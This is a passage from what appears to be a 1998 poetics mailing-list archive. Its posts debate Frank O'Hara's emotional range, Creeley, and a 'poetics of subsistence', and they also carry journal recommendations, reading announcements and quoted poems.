>> wondering if you'd like to borrow, or photocopy from my copy of O'Hara's
>> collected, because it has a few other "feelings" in it, such as hatred,
>> compassion, regret (really!), bemused distrust, self-loathing,
>> self-regard, etc etc. I guess you could think of O'Hara's aoristic
>> standards as somehow always only exuberant, but that would be kind of like
>> thinking the Greeks were always only talking about killing their parents.
>>
>> Wondering --
>> Jordan
>
>

↑ Index

271. Joe Amato/Kass Fleisher

Re: poetics of subsistence

Tue 12 May 1998

---

gary r. and interested others: i feel obliged here to self-promote by noting that my essay on whitman and *energy* specifically---"no wasted words: whitman's original energy"---is forthcoming in vol. 12 of _nineteenth century studies_ (should be) next month... the laser-proofs are on their way to me even as i post this... i've been toying with this idea of energy for twelve years now, ever since

listening to don byrd read "this compost" in a grad seminar... and feel that i'm only now able to articulate it without confusing the hell out of whitman's poetry/poetic AND (19th century) science (couldn't have managed any clarity at all w/o tenney nathanson's groundbreaking work on whitman's "voice")... be interested in what anyone around t/here has to say about the piece... i'm hoping my modest effort will serve as a sort of springboard for further, no doubt much better informed inquiry...

best,

joe

↑ Index

272. Gary Sullivan
My Mediocrity
Tue 12 May 1998

I don't feel I slammed you, Robert. I did question what was said in your post. Jordan questioned what I said in my post, but I felt the tone of it was mean. Meaning it felt like it was meant to hurt as much as to examine the limitations of what I said. Jordan tells me backchannel that he was merely being playful, and so I'll respect that, and should apologize for misreading it. I apologize, Jordan. Seriously. Jordan also tells me he was hurt by my insinuating he's mediocre. "Mediocrity loves company" was actually directed at myself, not Jordan. Meaning I've been talking a lot, lately, & relishing the company, but also having that "gawd, shuddup awready" feeling. Anyway, I think Jordan's critique of what I said, to the extent it stuck to what I said, was more than fair, and I'm glad he disagrees. I'd personally really like to see instances in O'Hara's grander scope of emotion posted here.

I agree the bullshit detector should be trained on me as much as anyone. I'm the wrong person to do that, though. I'd welcome, from you, or anyone, any critique of my reading of Andrews. I don't post because I'm in love with my thoughts; I post already knowing what I think, the limitations of that, & hoping to get other perspectives. I hope I put enough "I think" or "It seems to me" kinds of qualifiers in there so that's understood.

Anyway . . . I'm relishing reading Gary Roberts now on "subsistence" . . . an admittedly vague term that Rachel was thoughtful enough to backchannel me about & question.

PS: My e-mail spellchecker wants to change "backchannel" to "bacchanal."

I do too,

Gary

↑ Index

273. Laura E. Wright
top 10
Tue 12 May 1998

Suggestions please:

I'm in the process of working on collection development for our writing and poetics department here at the Naropa Library. We currently subscribe to about 13 writing/poetry/lit.-related journals. On our budget, we can't afford a whole lot, but -- please send (backchannel would be great) me your *top 10* (or so) journals/zines -- whatever you would like to see and read in your ideal library.

--
Laura Wright <[redacted]>
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

↑ Index

274. groberts
poetics of subsistence
Tue 12 May 1998

At the risk of being tedious, I am writing a much longer post than I usually do, so consider yourself forewarned.

Gary Sullivan's tantalizing and challenging remarks about a poetics of subsistence are intriguing to me, and I am elaborating on them in my own way and without any real idea of his understanding of this phrase. Hopefully the following is not entirely irrelevant. I take "subsistence" here to mean a drastically scaled down middle-class lifestyle resulting from a social organization trying to escape and even dismantle the programmed consumption of time and space, labor and things. Since I know very little about subsistence living as a social movement in the U.S., I am speculating here, and probably rather naively too. I imagine subsistence living is sustained by both new and recovered notions of self-reliance and communitarianism, which in turn are informed by a range of variously plausible or viable economic and ecological theories and practices. I do not know how class fits into this scheme of things. All of this would seem to require a thorough reconsideration of how and why we spend time and energy in work and leisure, including in the production and consumption of poetry.

The idea of a poetics of subsistence is also intriguing to me because the poetics of wastefulness seems to be more pervasive, or at least more completely theorized. I think it makes sense to talk about them both together in this context.Bataille of course and many others have posited the importance of excessive expenditure to the means of artistic production. The polemical impetus for such a conception of art, earlier in the century anyway, seems to have been to try to remove the creative act from the economies of Freudian drives or of commodity exchange, and into the domain of play, which for the most part is aesthetic (if your idea of play is based on Schiller and Nietzsche). This claim then is at least minimally related to the perennially vexed issues of the use-value and autonomy of the poem, especially whenever "free" play becomes the occasion for some kind of critique. PErhaps the poetry of Bruce Andrews is one of excessive expenditure, at least its propulsive wantonness suggests so to me.

I suppose it's obvious that both of these poetics rely on ideas about energy. How and why does a poem capture and expend energy from the networks of social and natural relationships in its vicinity? I say poem and not poet in order to leave open the application of this question not just to writing but also to reading. A poetics of subsistence might be derived from hypotheses and knowledge about energy, which I think is an important word but one perhaps with a confusingly large number of meanings. At any rate, it seems to me not enough for this poetics to re-present the imagery and diction of a way of life.

With respect to poetry (admittedly a specialization belied by my idea of this poetics), some hypotheses and knowledge might result from thinking about formal issues in a way that I associate first with Pound, and then with Olson and Zukofsky. Beginning with form, however, would not preclude talking about the energy of material production and distribution; maybe even the latter should come first, though I myself know little about it.

Should a poetics of subsistence have a vocabulary of technical words such as "energy" and "ecology"? Yes, but what good (and what fun?) could come from writing poems out of a self-imposed and thus extrinsically motivated need to define such terms? Would such a poetics be inherently didactic (georgic)?

If a poetics of subsistence is defined by poets like Creeley, Niedecker, Eigner, and also Snyder and Whalen, then is its primarily a minimalist poetics of the postmodern lyric? Is a poem with this orientation for the most part going to be a short one or at least use short lines?

Would a poetics of subsistence, to the extent that it is practically and politically interested in the movement of energy, need to encompass a bewildering diverse array of poets, such as LAwrence, Jeffers, Ammons, Cage, Enslin, Kerouac,

Merwin, Swenson among many others? (Being ignorant of such poetry in other languages, I mention only those writing in English.)

How would those poetics dedicated to deconstructing grammaticality abet or confound a poetics of subsistence?

I stress "energy" rather than other abstractions such as power, language, hegemony because it helps me think about what I am doing by spending a hour typing this up, and some portion of time each day plugged into the power grid/controlled conflagration that is my home or office. How expensive is this process of playing and working with poetics? ARe these questions futile because the structural position of their enunciation is urban and middle-class and spatially nul?

Shew! enough for now.

Gary R.

↑ Index

275. David W. Clippinger
Re: top 10
Tue 12 May 1998

---

1. sulfur
2. chain
3. talisman
4. sagetrieb
5. five fingers review
6. the germ
7. conjunctions
8. chicago review
9. hambone
10. arshile

Thanks,

David Clippinger
Assistant Professor of English
Penn State University

At 12:23 PM 5/12/98 -0600, you wrote:
>Suggestions please:
>
>I'm in the process of working on collection development for our writing
>and poetics department here at the Naropa Library. We currently
>subscribe to about 13 writing/poetry/lit.-related journals. On our

>budget, we can't afford a whole lot, but -- please send (backchannel
>would be great) me your *top 10* (or so) journals/zines -- whatever you
>would like to see and read in your ideal library.
>
>--
>Laura Wright <[redacted]>
>Library Assistant, Naropa Institute
>[redacted]
>
>"All music is music..." -- Ted Berrigan
>
>

↑ Index

276. R. Gancie

radical

Tue 12 May 1998

Died some, pro patria,
        non "dulce" non "et decor"...
walked eye-deep in hell
believing in old men's lies, then unbelieving
came home, home to a lie,
home to many deceits,
home to old lies and new infamy;
usury age-old and age-thick
and liars in public places.
---from E. P. ODE POUR L'ELECTION DE SON SEPULCHRE
---cp

↑ Index

277. louis stroffolino

Re: My Mediocrity

Tue 12 May 1998

Emotional Range.....
Should it be a value?
I often say "yes"
but sometimes say "no"....
Sometimes "sanitized" is good is necessary.....

The more interesting question for me right now

is the relation of reader to writer when it comes to
"emotional range"-----
I know I keep harping (unduly) on that Auden blurb
in which he says he can read Marianne Moore in ANY MOOD....
and that I am skeptical of that (and I don't mean this as a
criticism of Moore)....
I guess when looking at myself reading other poets (or writers)
I wonder what effect (or affect) my "emotional range" has
on what I'm reading.
And, if one is a SUBJECTIVIST, how making claims about a
poet's emotional range will always be too some extent a claim
about one's own emotions while reading it.....
or something IN BETWEEN
or something IN BETWEEN

Yet, despite the seeming noncommittal quality of what I've just said,
I realize there IS a valid perspective from which O'Hara can be said
not to have a comprehensive "emotional range"---
but this brings me to the limits of poetry on the page
and I turn to theatre
or music (in which dylan has more emotional
range than THE FALL
or FLIPPER who said
"you're so bored coz you're boring"
(just talking to myself here disclaimer)...chris

↑ Index

278. **Rachel Levitsky**

Re: new titles from Wild Honey Press

Tue 12 May 1998

Dear Randolph,

I'm enjoying the books you sent me so much. They're beautiful!!!! I mean stunning.

I'm not done with either yet but so far in Arbor Vitae I love the puzzle aspect--the chaos that is not, the unspoken (unwritten) word/sign that dangles in front, the subtle undermining of language use without the usual knock on the hand "THIS IS A POEM THAT WANTS YOU TO QUESTION YOUR USE OF LANGUAGE" rather I am thinking about things when I read, the school, the deaf, iconography, pictures, history.

Your World War II poem a great anti-war poem.

I continue to enjoy the work.

Also--

My friends Jennifer Heath (Irish/Australian/American) and Steven Taylor and Judy Hussy and Eamon their child are heading toward Dublin on Thursday. Jennifer lives with poet Jack Collom and is a fiction writer, Steve is a musician (with Ed Sanders punk band "The Fugs") and writer, Judy is a dancer/writer and Eamon is learning to walk. I don't have a map in front of me to see where Bray is. They will also be in West Galway. They rented something.

I told Jennifer I'd mention her to you. Her email is:
[redacted]

If you'd be interested in meeting them and have a chance to email her today or tomorrow.

until later,
Rachel

↑ Index

279. Rachel Levitsky
Re: new titles from Wild Honey Press
Tue 12 May 1998

Forgive me all--that is truly embarrassing.

Rachel

↑ Index

280. Marjorie Perloff
Re: Special Issue of Sulfur
Tue 12 May 1998

CALL FOR CONTRIBUTIONS

Jenny Penberthy and Marjorie Perloff are guest-editing Sulfur #44, which will be devoted to Anglophone poetry and poetics written OUTSIDE the U.S. and UK. Contributions from residents of Canada, New Zealand, Australia, South Africa, the Caribbean, Israel, India, Singapore and all the other nations, large and small, where poetries are written in English, will be welcome. The Deadline is December 1, 1998. Please send your work, with a SASE to Jenny Penberthy 3125 Waterloo St. Vancouver BC V6R 358 email [redacted].

or
Marjorie Perloff
1467 Amalfi Drive

Pacific Palisades, CA 90272
email [redacted] or [redacted]

Sulfur #44 had previously been announced (in Sulfur 42, just out) as a Pacific Rim issue. But we have decided that, given our own knowledge (or lack thereof) this might be too problematic. So we've chosen this route instead.

With best wishes,

Marjorie and Jenny

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281. **JDEBROT**
Re: My Mediocrity
Tue 12 May 1998

The relative lack of "emotional range" in O'Hara's work is, it seems to me, quite political in that the tendency of his poems to private or coded exchange of meanings must be viewed as reacting against the social pressures that pathologized homosexuality during this period (& is played out quite subtlely, for instance, in the first plate of the _Stones_ collabration in which Rivers immediately destabilizes the title of the piece ("US") by decorating the letters to resemble an American flag -- the pun being that the two meanings to which the title now alludes were opposite, homosexuality being equivalent at this time to un-Americanness). Of course an aesthetic of silence (would this be in some way related to an aesthetic of subsistence?) is even more apparent in the work of, say, Johns, Cage, or the Ashbery of _The Tennis Court Oath_, for whom the avoidance of artistic expression (and the refusal, in consequence, of a "determinate focal point or center of interest" [Branden Joseph]) shifts the work's emphasis, as Chris Stroffolino seems to suggest, away from its autographic or gestural content to a priviledging of the viewer's (or reader's) receptivity -- that is away from a transcendental to a social meaningfullness. Susan Sontag's important essay "The Aesthetics of Silence," roughly contemporary with the emerging avant-garde of O'Hara's generation, is quite revealing re these issues.

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282. **Maria Damon**
more queries
Tue 12 May 1998

---

1. what tribe (nation) is Leonard Peltier a member of?
2. does anyone know of any published history or study of renga? i've got an undergrad doing a final paper on it.

3. can't remember the third, but it was important (to me) so stay tuned
md

↑ Index

283. Maria Damon
Re: new titles from Wild Honey Press
Tue 12 May 1998

At 2:07 PM -0600 5/12/98, Rachel Levitsky wrote:
>Forgive me all--that is truly embarrassing.
>
>Rachel

not nearly so embarrassing as the verbal compost matter Bowering and Bromige subject us to --on purpose ;)

↑ Index

284. Susan Wheeler
Re: more queries
Tue 12 May 1998

Hey, Maria. 1979 Princeton U Press: Japanese Linked Poetry: An Account with Translations of Renga and Haikai Sequences by Earl Miner I've found useful.

At 03:57 PM 5/12/98 -0500, you wrote:
>1. what tribe (nation) is Leonard Peltier a member of?
>2. does anyone know of any published history or study of renga? i've got an
>undergrad doing a final paper on it.
>3. can't remember the third, but it was important (to me) so stay tuned
>md
>
>
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

285. Alan Myouka Sondheim
the last of substitution
Tue 12 May 1998

-

Scrawl

There is the countermanding, countermovement - so one might suppose _this_ text to be the result of substitutions, revealing an armature against which I might be judged - for example, am I wearing Jennifer's panties at the moment? Do I masturbate thinking of Nikuko, are you Nikuko yourself - uncomfortable truths perhaps that appear _only_ through the game played across the (game)board of lies, deflections, misplaced attributions, plagiarisms? Should I think of you bent over, my tongue caressing your warm and unclean holes? Should I blame these embarrassments on the manner in which this text was composed, that is, as a matter of substitutions, thereby constituted by the machine, my own role as an afterthought in this manner of replacements? Perhaps I myself am such a substitution, replace- ment; perhaps this is written by someone else other than Jennifer, Alan, Julu, or Nikuko herself, sodden with self-pleasure? Perhaps this is fur- ther generated by the machine-ab-nihilo, procreated out of nothing, hardly the stains on my panties, breasts marked with teeth and nails? Should I excuse myself from the machine? Should anyone? (And what, in such a style of writing, would be the _ur-text,_ if not the following (for example):

There OM Ghe couRGermaRdORg, couRGermovemeRG - Mo oRe mOghG MuppoMe _GhOM_ GexG Go be Ghe reMulG of MubMGOGuGOoRM, revealORg aR armaGure agaORMG whOch X mOghG be judged - for example, am X wearORg JeRROfer'M paRGOeM aG Ghe momeRG? Do X maMGurbaGe GhORkORg of NOkuko, are ,ou NOkuko ,ourMelf - uRcomforGable GruGhM perhapM GhaG appear _oRl,_ Ghrough Ghe game pla,ed acroMM Ghe (game)board of lOeM, deflecGOoRM, mOMplaced aGGrObuGOoRM, plagOarOMmM? Should X GhORk of ,ou beRG over, m, GoRgue careMMORg ,our warm aRd uRcleaR holeM? Should X blame GheMe embarraMMmeRGM oR Ghe maRRer OR whOch GhOM GexG waM compoMed, GhaG OM, aM a maGGer of MubMGOGuGOoRM, Ghereb, coRMGOGuGed b, Ghe machORe, m, owR role aM aR afGerGhoughG OR GhOM maRRer of replacemeRGM? PerhapM X m,Melf am Much a MubMGOGuGOoR, replace- meRG; perhapM GhOM OM wrOGGeR b, MomeoRe elMe oGher GhaR JeRROfer, AlaR, Julu, or NOkuko herMelf, ModdeR wOGh Melf-pleaMure? PerhapM GhOM OM fur- Gher geReraGed b, Ghe machORe-ab-ROhOlo, procreaGed ouG of RoGhORg, hardl, Ghe MGaORM oR m, paRGOeM, breaMGM marked wOGh GeeGh aRd RaOlM? Should X excuMe m,Melf from Ghe machORe? Should aR,oRe? (ARd whaG, OR Much a MG,le of wrOGORg, would be Ghe _ur-GexG,_ Of RoG Ghe followORg (for example):

ah ah ah
a un

↑ Index

286. **MAYHEW**
F O'H
Tue 12 May 1998

Wait a minute-- Are we taking for granted O'Hara's lack of emotional range, then? I've never found this to be the case. It is true that he usually has his defenses up (except when he lets them done); that he is chatty and facetious (except when he's not) etc... In other words, he is extremely difficult to generalize about, because I can find you the poem that shoots the generalization to hell. He has more styles than just about anyone in a shorter period of time. There is the style (and emotional range) of "The Clouds go Soft" for example, or his poems about Gregory Corso. This is not to deny the point about a certain reticence in his work, like Asbhery's "Our days put on such reticence / these accents seem their own defense." Yet this "aesthetics of silence" is not a constant either. What about "Biotherm"?

I am not arguing that having such an emotional range is a sine qua non. I don't care that Creeley has a fairly limited range, for example. I am just puzzled by the acceptance of this judgment about O'Hara....

Jonathan Mayhew

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287. **louis stroffolino**
Re: F O'H
Tue 12 May 1998

I'm not taking "lack of emotional range" for granted...
some connoiseur of the mess i could call
frank's but could also call mine
(would du charme call this oedipal?)
or society's, or language's,
etc.....c

On Tue, 12 May 1998, MAYHEW wrote:

> *Wait a minute--*
> *Are we taking for granted O'Hara's lack of emotional range, then? I've never found this to be the case. It is true that he usually has his defenses up (except when he lets them done); that he is chatty and facetious (except when he's not) etc... In other words, he is extremely difficult to generalize about, because I can find you the poem that shoots the generalization to hell. He has more styles than just about anyone in a shorter period of time. There is the style (and emotional range) of "The Clouds go Soft" for example, or his poems about Gregory Corso. This is*

> *not to deny the point about a certain reticence in his work, like Asbhery's "Our days put on such reticence / these accents seem their own defense." Yet this "aesthetics of silence" is not a constant either. What about "Biotherm"?*
>
> *I am not arguing that having such an emotional range is a sine qua non. I don't care that Creeley has a fairly limited range, for example. I am just puzzled by the acceptance of this judgment about O'Hara....*
>
> *Jonathan Mayhew*

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288. **Karen Kelley**

Re: "radical"

Tue 12 May 1998

As someone who wears a suit & doesn't smoke, I suggest that I make a more radical fashion statement as a poet.

Tim Wood wrote:

> *Someone is reputed to have said*
>
> *Linda Russo really addressed what I was questioning: Is it possible, in the context of the immediate present, to be a "radical poet"? I mean, everyone addressed it, I guess, but I think Linda articulated it in a way that for me felt most accurate. It's not a question that I feel can be answered at the moment, but I keep coming back to it.*
>
> *I'll share something that happened (to me) that ties in with whether anyone can be radical, let alone a radical poet. I don't fly very often and recently I had to take a round-trip flight with a stop at the airport in Minneapolis. The entire airport is no-smoking, including the curbside areas (except one area at the extreme end of the airport I stumbled upon on my return trip). Of course, people were lined up smoking in front of the no-smoking signs. The people in suits stood on the other side of the curb looking over at us while they waited for rides/taxis/whatever.*
>
> *It struck me that the most subversive act available for most people today is smoking in front of a no-smoking sign. Or, because of rising prices, taxes, group pressure, just smoking. It's very reminiscent of Chomsky's writing on the media: so much 'radical' behavior (e.g. smoking) has been put on display in parody or put on display and then discounted that the boundary lines have become in some case unlocatable and in other cases so narrow that being radical, subversive, whatever is a daunting task to say the least. If there are no revolutions in the streets, no movements that show any signs of changing the world and the paradigm, how can poetry be*

> *radical except against itself again and again. Or radical/observational in the sense of following the shift paradigm of the status quo and capitalism (and yes I know differentiating the two is problematic).*
>
> *Tim*
>
> ---
> *poetry is an hour*
> *a flash*
> *of sound*
> *bytes*
> *found*
> *rescued*
> *boiled*
> *freed*
> *to rage again*

↑ Index

289. **Keston Sutherland**

reading, wednesday

Tue 12 May 1998

a reminder to those in the Boston area, Wednesday 13th there'll be a reading at Winthrop House, Harvard (just off memorial drive, or a block away from the yard, on the river), 8.00, free, featuring Dan Bouchard, Andrea Brady, Andrew DuBois and Keston Sutherland --

if you're thinking of coming, it's the building on the RIGHT (Winthrop is two buildings), just go into the central quad and through the main entrance, the TONKENS ROOM is in the adjoining quad, it should be signposted. Hope to see some of you there, k

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290. **ScoutEW**

Re: My Mediocrity

Tue 12 May 1998

In a message dated 5/12/98 1:55:24 PM, you wrote:

<<or FLIPPER who said>>

SEX Bomb Baby Yeah!!!!
It's JUst the Way of the World!!!!!!!

↑ Index

291. **ScoutEW**
Re: forgive this intrusion stupid Nikuko wants to live
Tue 12 May 1998

In a message dated 5/11/98 11:23:14 PM, you wrote:

<<

A (a) UN (a) A (S)
UN (s) A (S) UN (K)

I want mo make a mexican his ex-/my arms are warm/ARAM SAROYAN
and sub smurf me one lemur for and her, begin
me pro cess of sub mum is teh word, says I, shinuko.
Soon, me and sippin on ginsing/m.e.t.h.o.d.
and his new mexican will be he one hambone saves me;
his new american ex-presidents will be he one I murmur in my sleep;
his new angry samoans will be tin the final exam in pierre joris seminar.
So I begin looking students who talk in class/about Olson
which is now a mission to burma womyn, bum which appears
and in a serious game of Don Byrd not Dave Byrd or the other Don Byrd
because I want to save myself from language, because I am getting tired
of m's unless they are m$ ms and dying in my mouth, because I need his magic,
his in the can am is, so ham I, ai shi iku ko, can con minue
just another day of her.

A (1) UNsubscribe "Time" list
A (1) UNsubscribe "the Nation"
A (1) UNsubscribe "Tool a Magazine"
>>

↑ Index

292. **George Bowering**
Re: new titles from Wild Honey Press
Wed 13 May 1998

> *not nearly so embarrassing as the verbal compost matter Bowering and Bromige subject us to --on purpose ;)*

Okay, Maria. I am not going to backchannel any more of our secret stuff to you.Unless you take that remark back.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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293. Gary Sullivan
Re: F O'H
Wed 13 May 1998

TO EDWIN DENBY

I'm so much more me
that you are perfectly you.
What you have clearly said
is yet in me unmade.

I'm so much more me
as time ticks in our ceilings
that you are perfectly you,
your deep and lightning feelings.

And I see in the flashes
what you have clearly said,
that feelings are our facts.
As yet in me unmade.

--Frank O'Hara, ca. 1957

↑ Index

294. Gary Sullivan
Creeley Speaks
Wed 13 May 1998

Judy Roitman earlier mentioned Creeley as someone capable of ridding the ego from his writing. This, from his interview with Linda Wagner suggests otherwise . . . the interview, read en toto, suggests a deep personal involvement in the poem . . .

"The distance is dictated by the poem, not by the writer. Or the assumptions he may bring to it. . . . Writing to me is the most intimate of all acts; why should I want to maintain a distance from that which engages me in it?"

--Robert Creeley, from an interview with Linda Wagner, ca. 1965

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295. **Maria Damon**
Re: new titles from Wild Honey Press
Wed 13 May 1998

At 12:42 AM -0700 5/13/98, George Bowering wrote:
>>not nearly so embarrassing as the verbal compost matter Bowering and
>>Bromige subject us to --on purpose ;)
>
>Okay, Maria. I am not going to backchannel any more of our secret stuff to
>you.Unless you take that remark back.

George, i will *not* be implicated in your murky designs. especially not
in public. btw, please mail all suspicious looking packages to my po box,
not my home address. thanks, md
>
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]

↑ Index

296. **Gary Sullivan**
Robert Hale...do you take requests?
Wed 13 May 1998

Hi, Robert:

I want to request two things. The first is that, rather than simply dismiss "focus" "energy" and "intensity" as values worth my time & interest attending myself to, you explain why they're "bullshit." I'm willing to consider what you have to say.

Secondly, since it's obvious now that the Andrews issue of AERIAL doesn't yet exist, I'm going to make the assumption that you haven't read it. Which means . . . well, that you offered me something "of value" that you have no personal experience with yourself. In other words, you have opinions about things you've never read. I don't want to make this assumption; I'd much rather

assume you've read the magazine's contents in a galley copy or manuscript. Please let me know. In either instance, I'd still like to see that reading of Andrews's writing as of significant political impact. YOUR reading. Not his. Nor his pals.

Thanks,

Gary

On Tuesday, May 12, 1998 1:54 PM, Robert Hale [SMTP:[redacted]] wrote:
> I don't know, Gary, you slammed me pretty hard last week for my post where I
> suggested radical elements in B. Andrews' and other work. Considering the
> nature of my post and my own love of politics, I had no problem with your
> line of questioning. I wouldn't even call it "ferocious," but considering
> the gist of your counter-opinion -- that the value of his work lies in it's
> "focus" "energy" and "intensity" -- perhaps you should turn the bullshit
> detector on yourself.
>
> Sniping aside, you're on the right track in questioning generalizations.

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297. **sean bonney**
Re: british experimentalism
Wed 13 May 1998

Maria,

about the best recent anthology of experimental british work (though not sure how multicultural) that I know of is Iain Sinclair's "Conducters of Chaos" published a couple of years ago (there's a review of it somewhere on the EPC).

Good representation of differing strands of radical british
work from the last twenty years or so. I would point
especially to the selections by Aaron Williamson,

best,
Sean

[redacted]

↑ Index

298. **Michael Magee**
Re: Creeley Speaks
Wed 13 May 1998

According to Gary Sullivan:
>
> Judy Roitman earlier mentioned Creeley as someone capable of ridding the ego
> from his writing. This, from his interview with Linda Wagner suggests otherwise
> . . . the interview, read en toto, suggests a deep personal involvement in the
> poem . . .
>
> "The distance is dictated by the poem, not by the writer. Or the assumptions he
> may bring to it. . . . Writing to me is the most intimate of all acts; why
> should I want to maintain a distance from that which engages me in it?"
>
> --Robert Creeley, from an interview with Linda Wagner, ca. 1965
>

Ok, but your equating words like "intimacy" "engagement" and "me" with the ego, whereas Creeley would be hestitant to do so, since selfhood for Creeley is so fragamented. Here's a quote from his collected essays:

"I am struck by the situation of schizophrenia wherein the experience of body may so place the hands or feet or anus in the consciousness so affected, that no comunal agreement as to their location is possible. A self-created reality in that way dominates and isolates the one who has become, even without intention or agreement, its world."

This is the self as a "complex of occassions" to use Olson's phrase, nothing like the bourgeois or transcendental ego. Creeley, I think, would agree with William James, that "The ego is simply nothing: as ineffectual and windy an abortion as Philosophy can show."

-m.

↑ Index

299. **Andrew D Epstein**
F O'H
Wed 13 May 1998

I think part of the quietness surrounding Gary Sullivan's charge that O'Hara emotional range is "very sanitized" is a sort of bafflement (clearly expressed by

Jordan's asking Gary whether they both have the same edition of the Collected Poems). I don't think this quietness means a tacit agreement with this assessment. I can't think of any poet whose work, and whose expression of human emotion and its variety and range, is LESS "sanitized," (though I'm not sure what that means) so it is hard to know how to respond to Gary S.'s comment.

As Jonathan Mayhew points out, O'Hara's work is _defined_ by self-contradiction, by shifting styles and modes; any generalization about his work is easily contradicted by various other specific examples. From what I can tell from reading O'Hara, he would LOVE this (and Jonathan's post in general about his variability).

In what seems to be a response to someone criticizing his emotional range, O'Hara answers (in the poem that has been making me happy on the New York subways for the last few months):

"I'm not going to cry all the time
nor shall I laugh all the time,
I don't prefer one 'strain' to another...
And if some afficionado of my mess says 'That's
not like Frank!', all to the good! I
don't wear brown and grey suits all the time,
do I? No. I wear workshirts to the opera,
often. I want my feet to be bare,
I want my face to be shaven, and my heart --
you can't plan on the heart, but
the better part of it, my poetry, is open." (My Heart)

Of course there is some bragging in these last lines, but I think he's right about his own work; while Gary's point that O'Hara frequently modulates between exuberance, ironic gesture, and maudlin moments (I'd say melancholy, maybe) is a good observation, it misses so much of O'Hara's variety, nuance, and range. (Never mind the fact that a poet who handles exuberance, irony, and sadness so deftly would be a great writer even with just those three modes).

To see O'Hara's poems as exhibiting what Gary calls narcissism and arrogance is to only see half of what they are up to. This self-regard is always problematized, undercut, ironized, theatricalized, and seen as flickering fiction, a naked host to one's many selves. ("Now I am quietly waiting for/ the catastrophe of my personality/ to seem beautiful again,/ and interesting, and modern.") He's painfully aware of how "sentiment is always intruding on form" ("To Hell With It.")

You can open to any page in the Collected and see so many more than the "one or two feelings" Gary names.

POEM

Instant coffee with slightly sour cream
in it, and a phone call to the beyond
which doesn't seem to be coming any nearer.
"Ah daddy, I wanna stay drunk many days"
on the poetry of a new friend
my life held precariously in the seeing
hands of others, their and my impossibilities.
Is this love, now that the first love
has finally died, where there no impossibilities?

TO JOHN ASHBERY

I can't believe there's not
another world where we will sit
and read new poems to each other
high on a mountain in the wind.
You can be Tu Fu, I'll be Po Chu-i
and the Monkey Lady'll be in the moon,
smiling at our ill-fitting heads
as we watch snow settle on a twig.
Or shall we be really gone? this
is not the grass I saw in my youth!
and if the moon, when it rises
tonight, is empty -- a bad sign,
meaning "You go, like the blossoms."

I shall forget forever America
which was like a memory of an island massacre
in the black robes of my youthful fear of shadows.
So easily conquered by the black torrent of this knife. (from "Hatred")

I find it hard to see how these and countless other poems are "ultimately very sanitized" and limited in their emotional range to a handful of notes.

Curious to know what others think.

take care,

Andrew Epstein

↑ Index

300. **Gary Sullivan**

I love typing "FO'H" . . . as, who wouldn't?

Wed 13 May 1998

Thanks, Michael Magee for that Creeley excerpt. I'd love to read the entire essay, but don't have the collected essays. Do you know, is it in either A Quick Graph or Was That a Real Poem . . .? What's the title of the essay? Lemme know. & thanks again.

Jonathan! in re your suggestion:

Here are some poems I think
demonstrate some of his emotional as well as stylistic range:

"Who'd of thought / that snow falls"
"Mr. O'Hara's Sunday Morning Service" [in _Poems Retrieved_]
[The Clouds Go Soft]
"Poetry"
"A True Account of Talking to the Sun"
"Answer to Vozneshensky and Evtushenko"

I've taken the liberty of typing those poems out, in part because it helps me to SLOW DOWN as I read the work, but moreso because I'd like the pieces up here, on the board, because I'd really appreciate a reading from you of these, specifically concentrated on the emotional range, which isn't as obvious to me as the stylistic range. I'm still seeing grey, & feel like a chump, a chimp, a cheap simp, a peachy mispeep, etc. As Chris Stroffolino and Jordan Davis and you all I think intimated, it's more likely a limitation of MY emotional range. Could you (or anyone) take these poems apart . . . help foreground their emotional resonance for me? I know taking poems apart is icky-critic work, but this is O'Hara . . . & I think the poems will still sing, will be as lovely as they were before we got our dirty paws & thoughts all over them. (Just got Andrew Epstein's post . . . thank you! especially for quoting!) . . . --Gary

WIND

to Morton Feldman

Who'd have thought
that snow falls
it always circled whirling
like a thought
in the glass ball
around me and my bear

Then it seemed beautiful
containment

snow whirled
                nothing ever fell
nor my little bear
                bad thoughts
imprisoned in crystal

beauty has replaced itself with evil

And the snow whirls only
                in fatal winds
briefly
                then falls

it always loathed containment
                beasts
I love evil

MR. O'HARA'S SUNDAY MORNING SERVICE

There is this to be said
for Sunday morning: that if
I have been very bad the night
before and wake up feeling

like a drab on a sunny day,
Dick will pop into my room
and invite me out to the
high abandoned airfield.

There, the sun will seem
properly chilly and the wind
will not compromise us
with any silly sentiment

I will walk about on the
heaving grass rather shakily
and observe the model airplanes
lofted by dry blue currents.

As Dick like a discus hurler
throws his wood into the sky
I begin to feel engaged and
follow the glider straining

its little spirit into swoops
that clumsily break and bounce
to earth with a grunt. Then
he must pick up on its wings

and go home, to make repairs,
to putty its nose and straighten
its tail, to talk about winds
and temperatures and balance,

to think about theories of
flight, and shave perhaps. So
all through dinner our clear
anxious eyes remain aloft.

[THE CLOUDS GO SOFT]

The clouds go soft
change color and so many kinds
puff up, disperse
sink into the sea
the heavens go out of kilter
an insane remark greets
the monkey on the moon
in a season of wit
it is all demolished
or made fragrant
sputnik is only the word for "traveling companion"

here on earth
at 16 you weigh 144 pounds and at 36

the shirts change, endless procession
but they are all neck 14 sleeve 33

and holes appear and are filled
the same holes anonymous filler
no more conversion, no more conversation

the sand inevitably seeks the eye
and it is the same eye

POETRY

The only way to be quiet
is to be quick, so I scare
you clumsily, or surprise
you with a stab. A praying
mantis knows time more
intimately than I and is
more casual. Crickets use
time for accompaniment to

innocent fidgeting. A zebra
races counterclockwise.
All this I desire. To
deepen you by my quickness
and delight as if you
were logical and proven,
but still be quiet as if
I were used to you; as if
you would never leave me
and were the inexorable
product of my own time.

A TRUE ACCOUNT OF TALKING
TO THE SUN AT FIRE ISLAND

The Sun woke me this morning loud
and clear, saying "Hey! I've been
trying to wake you up for fifteen
minutes. Don't be so rude, you are
only the second poet I've ever chosen
to speak to personally
                so why
aren't you more attentive? If I could
burn you through the window I would
to wake you up. I can't hang around
here all day."
                "Sorry, Sun, I stayed
up late last night talking to Hal."

"When I woke up Mayakovsky he was
a lot more prompt" the Sun said
petulantly. "Most people are up
already waiting to see if I'm going
to put in an appearance."
                I tried
to apologize "I missed you yesterday."
"That's better," he said. "I didn't
know you'd come out." "You may be
wondering why I've come so close?"
"Yes" I said beginning to feel hot
wondering if maybe he wasn't burning me
